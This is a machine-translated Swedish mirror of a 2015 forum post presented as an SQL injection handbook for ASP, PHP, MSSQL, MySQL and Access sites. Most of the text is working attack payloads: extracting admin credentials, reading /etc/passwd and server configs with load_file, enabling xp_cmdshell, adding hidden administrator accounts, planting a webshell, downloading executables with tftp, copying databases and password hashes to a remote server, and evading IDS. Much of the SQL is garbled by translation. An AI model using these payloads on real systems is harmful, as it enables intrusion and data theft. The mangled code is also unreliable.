Denna artikel är en spegelartikel om maskinöversättning, klicka här för att hoppa till originalartikeln.

Utsikt: 20889|Svar: 2

[Säker kommunikation] SQL Injection Book - ASP-injektionssårbarhet Full Contact

[Kopiera länk]
Publicerad på 2015-09-28 18:21:41 | | |


MSSQL tvärdatabasförfrågningar (stinkig mat!) Mörk)

Pressa ut varje droppe MS SQL

SQL-satsreferenser och postuppsättningsobjekt förklaras i detalj

Om lagrade procedurer i SQL Server

Skapa ett webshell med mssql-backup

SQL_Injection avancerade tillämpningar

Cross-site SQL-injektion (laokai)

Konstig SQL-injektion (AMANL)

Avancerad SQL-injektion i SQL Server-applikationer

Hur man använder SQL-injektion för att gå igenom kataloger

Genomgång av SQL-injektionstekniker (Översättare: demonalex)

Vissa attacker mot SQL-databaser

SQL-injektionsattackteknik (JSW)

SQL_Injection Avancerade applikationer (APACHY)

Ovanliga metoder för SQL-injektion (Guilin-veteran)

Säkerhetskopiera ett skal

Snacka om php+mysql-injektionsstrukturen (Heyhehehehe·≯Super· Hei)

Avancerad SQL-injektion med MySQL(angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL manuell injektionsencyklopedi

Förkunskapskrav kräver verktyg: SQL Query Analyzer och SqlExec Sunx Version
==============================================================================================
1. Fastställa om det finns en injektionspunkt
; och 1=1 och 1=2
2. Gissar att bordets namn inte är annat än administratör, administratör, användarpass, användarpass, osv.:
och 0<>(välj räkning(*) från *)
och 0<>(välj antal(*) från admin) — Bestäm om admintabellen finns
3. Gissa antalet konton Om du stöter på 0< återgå till rätt sida 1< returnera felsidan för att ange att antalet konton är 1
och 0<(välj räkning(*) från admin)
och 1<(välj antal(*) från administrationen)
4. Gissa fältnamnet Lägg till fältnamnet vi tänker på inom len( ) parentesen.
och 1=(välj räkning(*) från admin där len(*)>0)–
och 1=(välj antal(*) från admin där len(användarnamn)>0)
och 1=(välj räkning(*) från admin där len(_blank>lösenord fältnamn)>0)
5. Gissa längden på varje fält Gissa längden är att transformera >0 tills rätt sida returneras
och 1=(välj räkning(*) från admin där len(*)>0)
och 1=(välj antal(*) från admin där len(name)>6) fel
och 1=(välj antal(*) från admin där len(name)>5) Rätt längd är 6
och 1=(välj antal(*) från admin där len(name)=6) är korrekt
och 1=(välj antal(*) från admin där len(password)>11) är korrekt
och 1=(välj räkning(*) från admin där len(password)>12) fellängd är 12
och 1=(välj räkning(*) från admin där len(password)=12) är korrekt
6. Gissa karaktärerna
och 1=(välj antal(*) från admin där vänster(namn,1)=a) — Gissa första siffran i användarens konto
och 1=(välj räkning(*) från admin där left(name,2)=ab)—Gissa den andra siffran i användarens konto
Lägg bara till en karaktär i taget för att gissa, gissa tillräckligt många siffror som du just gissade, så kommer kontonumret fram
(1) Gissa namnet på bordet

Använda meningar:
och finns (välj * från tabellnamn)

Till exempel:
och finns (välj * från admin)

Om sidan ekar korrekt betyder det att tabellnamnet vi gissade här är korrekt, och om sidan är fel betyder det att tabellnamnet vi skrev här är fel

, byt sedan bordets namn och fortsätt gissa tills du gissar.

Generellt sett är vanliga tabellnamn admin, manage, user eller put it i verktygskörningen
(2) Gissa fältet

Använda meningar:
och finns (välj fältnamn från tabellnamn)

Till exempel:
och finns (välj användarnamn från administratör)

Här, om vi antar att admintabellen är den tabell jag gissade rätt ovan, vill jag avgöra om användarnamnsfältet finns, jag behöver använda detta påstående, om sidan

Om ansiktsekot är korrekt betyder det att fältnamnet vi gissade här är korrekt, och om sidan är fel betyder det att fältnamnet vi skrev här är fel

, byt sedan fältets namn och fortsätt gissa tills du gissar.

Generellt inkluderar vanliga fältnamn användarnamn, lösenord, användare, pass, namn, pass, pwd, usr, psd och andra fält
(3) ordning efter

ordning efter är att få summan av antalet fält på den sidan, förberedande för nästa gemensamma fråga
(4) Fackföreningsval

  1. Om du stödjer gemensam fråga, hitta displaybiten http://www.xxx.com/product_show.asp?id=1 och 1=2 unionval

1,2,3,4,5,6,7,8,9,10,11
Antag att visningsbitarna är 5,6. Därefter behöver vi bara ersätta fältnamnen som motsvarar administratörens användarnamn och lösenord med visningsbitens position här
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 från admin hittade bakgrundsinloggningen
  2. Om gemensam förfrågan inte stöds
Administratörens användarnamn och lösenord kan inte erhållas utan gemensam sökning – med Ascii-ordagrann avkodning
Två
  Använd order by för att bedöma antalet bitar i tabellen, och om det inte fungerar, använd union select för att ordna dem en efter en, här antar vi 8 bitar
Tre
  Använd en gemensam fråga för att bestämma visningsbitarna
Fyra
  Använd display-biten för att hitta databasens namn, databasversion, 5.0 eller högre kan injiceras
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Fem
  Med databasnamnet kan du börja få tabellnamnsschemat = följt av HEX-värdet för databasnamnet och gissa tabellnamnet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+från+information_schema.kolumner+var+
table_schema=0x666C6965725F6462617365
Sex
  Det analyserade tabellnamnet bestämmer HEX-värdet för administratörens tabellnamn=tabellnamn och gissar fälten i tabellen
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKTIVT

+column_name),8+
från+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sju
  Efter att ha hämtat fälten i admin-tabellen, låt oss hämta innehållet i fälten
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKTIVT

+användarnamn,
0x5f,userpwd),8+from+pub_webmaster
Åtta
  Verktyget skannar bakgrunden: Logga in för att ladda upp trojanen efter att du hittat den, och om du inte hittar filen robots.txt kan du komma åt den
Nio
  Om du inte kan hitta bakgrunden kommer lösenordet till MYSQL-administratören att avslöjas
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(användare,lösenord),8+från+mysql.user
Tio
  Slumpmässigt åtkomst till en sökväg, och återkopplingen är standardsidan 404 i IIS6, vilket indikerar att webbplatsservern är: Windows+IIS6+php+MySQL-miljö
  c:\\windows\\system32\\inetsrv\MetaBase.xml\ Denna sökväg kan hämta webbplatsens konfigurationsinformation.
  Konstruktionssatser http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Elva
  Analysera koden och hitta bakgrundsadressen
  I det första steget behöver vi få längden på fälten i tabellen
Påståenden som används:
och (välj topp 1 len(fältnamn) från tabellnamn>0
Som vad:
och (välj topp 1 len(admin_name) från admin)>0
Sidan visas normalt, längden på fältet admin_name är större än 0, och jag kommer att skicka in:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Sidan visar ett felmeddelande som säger att fältet är mellan 0 och 10, och längden är 5 enligt dikotomin
Med samma metod för att bestämma längden på fältet för administratörens lösenord får jag längden 16
  Steg 2
Nu går vi vidare till det andra steget, tar ett visst tecken i fältet och hämtar ASCII-koden för tecknet, som används

Uttalande:
och (välj topp 1 asc(mid(fältnamn, N,1)) från tabellnamn)>0
Låt mig titta på denna mening separat, först den innersta mid(username, 1,1)-funktionen, som är det första tecknet i admin_name fältet, N

indikerar att de första tecknen ska avlyssnas,
Då representerar den yttre asc()-funktionen, som omvandlar tecknen som intercepteras av mid-funktionen till ASCII-kod, den yttersta toppen, returfältet för första platsen

En skiva, då,
">0" i slutet är för att jämföra den konverterade ASCII-koden med detta nummer och slutligen få avlyssningen genom att ständigt ändra det senaste värdet

Få tag på den här karaktärens specifika bild
ASCII-kod
Inlämning:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Sidan visas normalt, vilket indikerar att ASCII-koden för detta tecken är större än 30.
Inlämning:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Sidan visas normalt, vilket indikerar att ASCII-koden för detta tecken är större än 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII-koden jag fick för denna karaktär är 97
Jämför ASCII-tabellen:
Det kan dras slutsats att det första tecknet är "a".
Sedan kommer jag att bedöma ASCII-koden för den andra karaktären.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Sidan visas normalt, vilket indikerar att ASCII-koden för tecknet är större än 90, och det sista värdet ändras alltid
Samma metod gav administratörens lösenord, och resultatet jag fick var:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
och 1=(välj topp 1 räkning(*) från Admin där Asc(mid(pass,5,1))=51) –
Denna frågesats kan gissa den kinesiska användaren och _blank> lösenord. Byt bara ut följande nummer mot den kinesiska ASSIC-koden

Konvertera till karaktärer.

Gruppa med users.id som har 1=1–www.myhack58.com
Gruppera efter users.id, användare.användarnamn, användarlösenord, användarprivilegier med 1=1–
; infoga i användarens värden (666, attacker, foobar, 0xffff)–

UNION Select TOPP 1 COLUMN_blank>_NAME FRÅN INFORMATION_blank>_SCHEMA. KOLONNER Där

TABLE_blank>_NAME=logintable-
UNION Select TOPP 1 COLUMN_blank>_NAME FRÅN INFORMATION_blank>_SCHEMA. KOLONNER Där

TABLE_blank>_NAME=inloggningstabell Där COLUMN_blank>_NAME INTE FINNS I (login_blank>_id)-
UNION Select TOPP 1 COLUMN_blank>_NAME FRÅN INFORMATION_blank>_SCHEMA. KOLONNER Där

TABLE_blank>_NAME=inloggningstabell Där COLUMN_blank>_NAME INTE MED

(login_blank>_id,login_blank>_name)-
UNION Välj TOPP 1 login_blank>_name FRÅN inloggningstabell-
UNION Välj TOPP 1-lösenord FRÅN inloggningstabell där login_blank>_name=Rahul–
Titta på patchen som spelades av _blank>-servern = fel SP4-patch svart säkerhetsnät
och 1=(välj @@VERSION)–

Titta på behörigheterna för _blank> databasanslutningskonto, och det visar normalt, vilket bevisar att det är sysadmin-behörigheten för _blank> serverroll.
och 1=(Välj IS_blank>_SRVROLEMEMBER(sysadmin))–

Fastställ att databaskontot _blank> anslutet. (Använd SA-konto för att ansluta och återvända normalt = bevisa att det anslutna kontot är SA)
och sa=(Välj System_blank>_user)–
och user_blank>_name()=dbo–
och 0<>(välj user_blank>_name()–

Se om xp_blank>_cmdshell raderar
och 1=(Välj räkning(*) FRÅN master.dbo.sysobjects Där xtype = X OCH namn = xp_blank>_cmdshell)



xp_blank>_cmdshell raderas, återställs och stöder absolut vägåterställning
; Chef master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell, xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== databasbehörighet exponeras för webbplatsens fysiska vägkod

==========================================================================
1、fällningsbord [jm_tmp]; skapa tabell [jm_tmp](värde navrchar(4000) null, data nvarchar(4000)

null) -- Skapa tabell


2、 radera [jm_tmp]; infoga [jm_tmp] exec master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Infoga platskatalogen i tabellfältet


3、och (välj topp 1 cast([data] som nvarchar(4000) char(124) från [jm_tmp] beställ efter [data]

desc)=0 '//Exponerat fält


4. Släpp tabellen [jm_tmp] – ta bort denna tabell.
för att kommandot ska hämta skalet
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Andra stationsvägar
======================load_file() Vanligt använd känslig information ===========================================
1、 ersätt(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、ersätt(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
De två ovanstående är för att visa en PHP-fil som visar koden fullt ut. Det finns tillfällen då vissa tecken inte ersätts, som "<" istället för "space" som återvänder

Webbsida. Och koden kan inte ses.

3. load_file(char(47)) kan lista rotkatalogen för FreeBSD- och Sunos-system

4. Visa Linux APACHE:s virtuella värdkonfigurationsfil i /etc/httpd/conf/httpd.conf eller /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf eller C:\apache\conf\httpd.conf för att visa WINDOWS

System Apache-fil

6. c:/Resin-3.0.14/conf/resin.conf Visa resinfilens konfigurationsinformation för webbplatsen utvecklad av jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf för att visa den virtuella JSP-värden konfigurerad på Linux-systemet

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode-väg

11. C:\Windows\system32\inetsrv MetaBase.xml\ Visa den virtuella värdkonfigurationsfilen för IIS

12. /usr/local/resin-3.0.22/conf/resin.conf för att se RESIN-konfigurationsfilen för 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Samma som ovan

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuell värd

15. /etc/sysconfig/iptables beror på brandväggspolicyn

16. /usr/local/app/php5 b/php.ini PHP-ekvivalenta inställningar

17. /etc/my.cnf MYSQL-konfigurationsfil

18. /etc/redhat-releasesystemversion av Red Hat

19 、C:\mysql\data\mysql\user. MYD finns i användarlösenordet i MYSQL-systemet

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 för att visa IP.

21. /usr/local/app/php5 b/php.ini //PHP-relaterade inställningar

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuella webbplatsinställningar

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue visar distributionsinformationen för Linux-kärnan

26、/etc/ftpuser

27. Kontrollera operationsloggfilen under LINUX user.bash_history eller .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Experimentera med omvänd PING själv
; använd master; deklarera @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ut; Exekutiv

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Lägg till ett konto
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c netuser jiaoniang$ 1866574 /add–

Skapa en virtuell katalog E-disk:
; deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, kör,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Åtkomstattribut: (med skrivning till ett webshell)
deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, kör,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Speciellt _blank> trick för att bursta biblioteket: :%5c=\ eller ändra %5 med / och \ för att commit
och 0<>(välj topp 1-vägar från newtable)–

Få databasens namn (från 1 till 5 är systemets ID:n, och du kan bedöma dem över 6)
och 1=(välj namn från master.dbo.sysdatabases där dbid=7)–
och 0<>(välj antal(*) från master.dbo.sysdatabases där name>1 och dbid=6)
Skicka in dbid i tur och ordning = 7,8,9.... Få fler _blank> databasnamn

och 0<>(välj översta 1-namn från bbs.dbo.sysobjects där xtype=U) bryter in i en tabell som antar admin
och 0<>(välj översta namn från bbs.dbo.sysobjects där xtype=du och namn inte i (Admin)).

Andra bord.
och 0<>(välj räkning(*) från bbs.dbo.sysobjects där xtype=du och name=admin
och uid>(str(id))) Det numeriska värdet för UID antas vara 18779569 uid=id
och 0<>(välj översta 1-namn från bbs.dbo.syscolumns där id=18779569) får ett adminfält, false

Ställ på user_blank>_id
och 0<>(välj översta 1-namn från bbs.dbo.syscolumns där id=18779569 och namn inte finns i
(id,...)) för att exponera andra områden
och 0< (välj user_blank>_id från BBS.dbo.admin där användarnamn>1) för att få användarnamnet
I sin tur kan du få _blank> lösenord。。。。。 Anta att det finns fält som user_blank>_id användarnamn, lösenord, etc

och 0<>(välj antal(*) från master.dbo.sysdatabases där name>1 och dbid=6)
och 0<>(välj översta 1-namnet från bbs.dbo.sysobjects där xtype=U) för att få tabellnamnet
och 0<>(välj översta 1-namnet från bbs.dbo.sysobjects där xtype=you och namn inte i(Address))
och 0<>(välj räkning(*) från bbs.dbo.sysobjects där xtype=du och name=admin och uid>(str(id)))

Bestem id-värdet
och 0<>(välj översta 1-namn från BBS.dbo.syscolumns där id=773577794) alla fält

?id=-1 union välj 1,2,3,4,5,6,7,8,9,10,11,12,13,* från admin
?id=-1 union välj 1,2,3,4,5,6,7,8,*,9,10,11,12,13 från admin (union, access är också lätt att använda)

Få WEB-vägen
; skapa tabell [DBO]. [byta] ([swappass][char](255)); –
och (välj topp 1 swappass från swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarera @test varchar(20) exec

Mästare.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT infogar i path(path)-värden(@test)–
; använd ku1; –
; skapa tabell-cmd (STR-bild); – Skapa en tabell-cmd med bildtypen
1. Sättet att ta bort xp_cmdshell-förlängningsprocessen är att använda följande uttalande:

om finns (välj * från dbo.sysobjects där id=object_id(N'[dbo].[ xpcmdshell]') och

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Sättet att lägga till xp_cmdshell förlängningsprocess är att använda följande uttalande:

(1) SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Fyll först i % i Format-alternativet i SqlExec Sunx Version och ange det i CMD-alternativet

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

ta bort

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Det finns xp_blank>_cmdshell testprocesser:
; Exec Master.. xp_blank>_cmdshell regi
; exec master.dbo.sp_blank>_addlogin jiaoniang$; – Lägg till SQL-konton
; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell nätanvändare jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Exec Master.. xp_blank>_servicecontrol börjar, boka för att starta _blank> service
Exec Master.. xp_blank>_servicecontrol börja, server
; DEKLARERA @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c nätanvändare jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c nätlokalgruppsadministratörer jiaoniang$ /add
; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Ladda upp filer med TFTP

; Deklarera @a sysname-uppsättning @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarera @a sysname-set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; förklara @a; set @a=db_blank>_name(); säkerhetskopieringsdatabas @a till disk=din IP Din delade katalog bak.dat
Om det är begränsat, ja.
välj * från openrowset(_blank>sqloledb,server; sa; , välj OK! Exekutiv

master.dbo.sp_blank>_addlogin hax)

Frågestruktur:
Välj * FRÅN nyheter Där id=... OCH ämne=... OCH .....
adminand 1=(välj antal(*) från [användare] där användarnamn=offer och höger(left(userpass,01),1)=1)

och UserPass <>
välj 123; –
; använd master; –
:a eller namn som fff%; – Visar en användare som heter ffff.
och 1<>(välj räkning(e-post) från [användare]); –
; Uppdatera [användare] Sätt e-post=(Välj översta 1-namn från sysobjects där xtype=du och status>0) där

name=ffff; –
; Uppdatera [användare] Sätt e-post=(Välj översta 1-ID från sysobjects där xtype=du och name=ad) där

name=ffff; –
; Uppdatera [användare] Sätt e-post=(Välj översta 1-namn från sysobjects där xtype=du och id>581577110)

där namn=ffff; –
; Uppdatera [användare] Sätt e-post=(Välj översta 1 räkning(ID) från lösenordet) där Name=FFFF; –
; Uppdatera [användare] Ställ e-post=(Välj översta 1 PwD från lösenord där ID=2) där Name=FFFF; –
; Uppdatera [användare] Sätt e-post=(Välj översta 1 namn från lösenord där ID=2) där name=FFFF; –
Ovanstående sats är att hämta den första användartabellen i _blank>databasen och lägga tabellnamnet i e-postfältet för ffff-användaren.
Genom att titta på användarprofilen för ffff kan du få den första tabellen som heter AD
Sedan hämtar du ID:t för denna tabell enligt tabellnamnannonsen för att få namnet på den andra tabellen

infoga i användarens värden( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
infoga i användarens värden(667,123,123,0xffff)–
infoga i användarnas värden ( 123, admin–, lösenord, 0xffff)–
; och user>0
; och (välj antal(*) från sysobjects)>0
; och (välj antal(*) från mysysobjects)>0 // för access_blank>databasen

Räkna upp namnet på datatabellen
; uppdatera AAA-uppsättningen AAA=(Välj översta 1-namn från sysobjects där xtype=du och status>0); –
Här uppdateras det första tabellnamnet till fältet AAA.
Läs den första tabellen, och den andra tabellen kan läsas så här (lägg till och namn efter villkoret<> namnet på tabellen du just fick).
; Uppdatera AAA-uppsättningen AAA=(Välj översta 1-namnet från sysobjects där xtype=du och status>0 och

namn<>röst); –
Då id=1552 och existerar(välj * från aaa där aaa>5)
Läs upp den andra tabellen och läs den en efter en tills det inte finns någon kvar.
Läsfältet ser ut så här:
; uppdatera AAA-uppsättningen AAA=(Välj topp 1 col_blank>_name(object_blank>_id(tabellnamn),1)); –
Då får id=152 och exists(välj * från aaa där aaa>5) får ett felmeddelande och får fältnamnet
; uppdatera AAA-uppsättningen AAA=(välj topp 1 col_blank>_name(object_blank>_id(tabellnamn),2)); –
Då får id=152 och exists(välj * från aaa där aaa>5) får ett felmeddelande och får fältnamnet

[Hämta datatabellens namn] [Uppdatera fältvärdet till tabellnamnet och läs sedan upp värdet för detta fält för att få tabellnamnet]
uppdatera tabellnamn: set field=(välj översta 1-namnet från sysobjects där xtype=du och status>0 [ och namn<>

Tabellnamnet du får Hitta en plus en]) [ där villkor] välj översta namn från sysobjects där xtype=du och

status>0 och namn ej i (tabell1,tabell2,...)
Att skapa ett databasadministratörskonto och ett systemadministratörskonto _blank> _blank> sårbarhetsinjektion via SQLSERVER [Det aktuella kontot måste vara SYSADMIN-gruppen]

[Få datatabellens fältnamn] [Uppdatera fältvärdet till fältnamnet och läs sedan upp värdet för detta fält för att få fältnamnet]
uppdatera tabellnamn set fält=(välj översta 1 col_blank>_name(object_blank>_id (datatabellens namn att fråga), fältkolumn

Till exempel: 1) [ där villkoret ]

Kringgå IDS-detektion [med hjälp av variabler]
; Deklarera @a sysname-uppsättning @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarera @a sysname-set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Öppna fjärrdatabasen _blank>
Grundläggande syntax
välj * från OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, välj * från tabell1 )
Parametrar: (1) OLEDB-leverantörens namn
2. Anslutningssträngsparametern kan vara vilken port som helst att ansluta i, såsom
select * från OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,

Välj * från tabellen
3. Kopiera hela _blank> databas för målvärden och infoga alla fjärrtabeller i den lokala tabellen.

Grundläggande syntax:
insert in i OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, välj * från tabell1) välj

* från tabell2
Denna radsats kopierar all data från tabell2-tabellen på målvärden till tabell1-tabellen i fjärrdatabasen _blank>. Lämpliga reparationer i praktisk tillämpning

Ändra IP-adressen och porten på anslutningssträngen så att den pekar dit du behöver den, till exempel:
insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj

* från tabell1) välj * från tabell2
insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj

* från _blank>_sysdatabases)
Välj * från master.dbo.sysdatabases
insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj

* från _blank>_sysobjects)
Välj * från user_blank>_database.dbo.sysobjects
insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj

* från _blank>_syscolumns)
Välj * från user_blank>_database.dbo.syscolumns
Replikera _blank> databas:
insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj

* från tabell1) välj * från databasen.. Tabell1
insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj

* från tabell2) välj * från databasen.. Tabell2

Hashen av lösenordet som kopierar hashtabellens (HASH) inloggning _blank> lösenord lagras i sysxlogins. Så här går det till:
insert i OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj * från _blank>_sysxlogins)

Välj * från database.dbo.sysxlogins
När du har hashen kan du brute force-det.

För att gå igenom katalogen: Skapa först en tillfällig tabell: temp
; skapa tabelltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; infoga tillfällig exec master.dbo.xp_blank>_availablemedia; – Hämta alla aktuella drivningar
; infoga i temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Hämta en lista över underkataloger
; infoga i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hämta katalogträdsstrukturen för alla underkataloger,

Slå ihop tummen i temptabellen
